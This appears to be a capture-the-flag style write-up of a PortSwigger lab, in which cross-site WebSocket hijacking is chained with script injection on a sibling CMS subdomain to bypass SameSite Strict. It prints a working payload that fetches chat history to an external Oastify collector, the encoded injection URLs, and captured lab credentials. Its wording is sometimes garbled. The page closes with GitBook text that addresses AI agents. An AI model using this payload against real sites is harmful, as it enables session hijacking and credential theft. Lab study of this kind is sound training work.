> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/csrf/samesite-strict-bypass-via-sibling-domain.md).

# SameSite Strict Bypass via Sibling Domain

SameSite Strict Bypass via Sibling Domain notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### SameSite Strict Bypass via Sibling Domain

Lab: Live chat functionality is vulnerable to cross-site WebSocket hijacking (CSWSH). The objective of the lab is to access the victim's account by extracting the chat history to the default Burp Collaborator server; the history contains clear credentials.

Use the exploit server provided to launch a CSWSH attack that exfils the history of the victim's cat.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1efd03e4b2692f37d2cc85ed1fb2b53e07f1dd6c%2F%7B7077EE3F-FCC1-4C57-93C4-C3CAB5D62566%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The chat works via WebSocket and the history passes through it.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07d5718a2fe9b6223f8586fa6bd8c87a073c19b6%2F%7B99CDB8D3-7BCF-406B-ABC0-957929E902F0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The session cookie is sent with SameSite (blocking conventional cross-site redirection scenarios).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dce786375c1902ecac6e7a8dae172667c0b97954%2F%7BAD8D348C-2ADA-41F7-BA49-EBA0E268CDED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The JavaScript client-side file (e.g. `chat.js`) is loaded from a CMS subdomain that returns a `Access-Control-Allow-Origin` header allowing interaction from this subdomain.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d90723c4eb07e8f35bf941e33d14408ea5328c6%2F%7B671EAEB4-A3C4-478E-B363-657987271AE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The CMS authentication panel is vulnerable to script injection via the `username` parameter (e.g. `?username=<script>alert(0)</script>&password=test`).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bc4af5646a32679db8d81eec51f61eefaec6803c%2F%7B4A2E88B4-ABF1-4666-B7AA-CCE1BAC2BF4D%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>

```javascript
<script>alert(0)</script>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9850ef91d190c40ed7831bfb29545227b31d6ab%2F%7B8FAC89E0-C2E4-4E67-989C-72DAC9B97E9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```
/login?username=<script>alert(0)</script>&password=test
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d07aeedc483206f68d45886df17db0c21811e4b%2F%7B087408EC-76DA-4130-B9E6-9168FD20BFAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Using this injection, you can run JavaScript in the context of the vulnerable sub-domain, thus establishing an authenticated WebSocket (cookies are then sent, since the origin is the same) to the chat server.

### Approach (summary)

1. Place a malicious script in the `username` parameter of the CMS subdomain login form.
2. This script opens a WebSocket connection to the chat server and sends a `READY` signal.

{% code overflow="wrap" %}

```javascript
<script>
  var ws = new WebSocket("https://0a5900a203763a50c2810c7a0074009d.web-security-academy.net/chat");

  ws.onopen = function() {
    ws.send("READY");
  };

  ws.onmessage = function(info) {
    fetch("https://68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com/?data=" + btoa(info.data));
  };
</script>
```

{% endcode %}

3. Upon receiving messages from the WebSocket (cat history), the `fetch` script encodes these data (base64) to an attacker-controlled server (OAST/Oastify).

```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dad7c08963473657fc10563368dfe5a5173da617%2F%7B4239C10B-F14F-4BAD-8DE4-C56725B89462%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Host/serve a redirect on the exploit server to push the victim to visit the vulnerable URL (login with `username` containing the script).

```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```

#### Results Observed

* When the exfilted query was received, the `data` parameter contained a base string64; By decoding it we get the cat's entrance.
* Example of paidload received (base64 decoded):

```json
{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c7b1128389ed1b05d24ac806481a5d850ff50f9%2F%7B70D4995F-55D5-4C8F-B32A-7D6EEE4107AF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7d5c93cda77a0463ed943847aedc38a103c2914%2F%7BED87981F-0C21-4DF7-97AD-DCC251F79623%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

By injecting from the authenticated context (CMS subdomain), the script transmitted messages containing user conversations and, in this case, a message containing the credentials in plain language.

{% code overflow="wrap" %}

```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```

{% endcode %}

{% code overflow="wrap" %}

```javascript
<script>
  location="https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef";
</script>
```

{% endcode %}

#### Extracted Credentials (as Noted)

* `carlos:hdf3fkk8h7tnltupqs5t` (credentials found in cat history)

{% code overflow="wrap" %}

```json
{"user":"Hal Pline","content":"No problem carlos, it's hdf3fkk8h7tnltupqs5t"}
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-470e2f3d8bb175bc144967a4c03220dfe145c2d1%2F%7BD71DB3CA-4B55-4DA1-A891-F5EC4C58E23F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
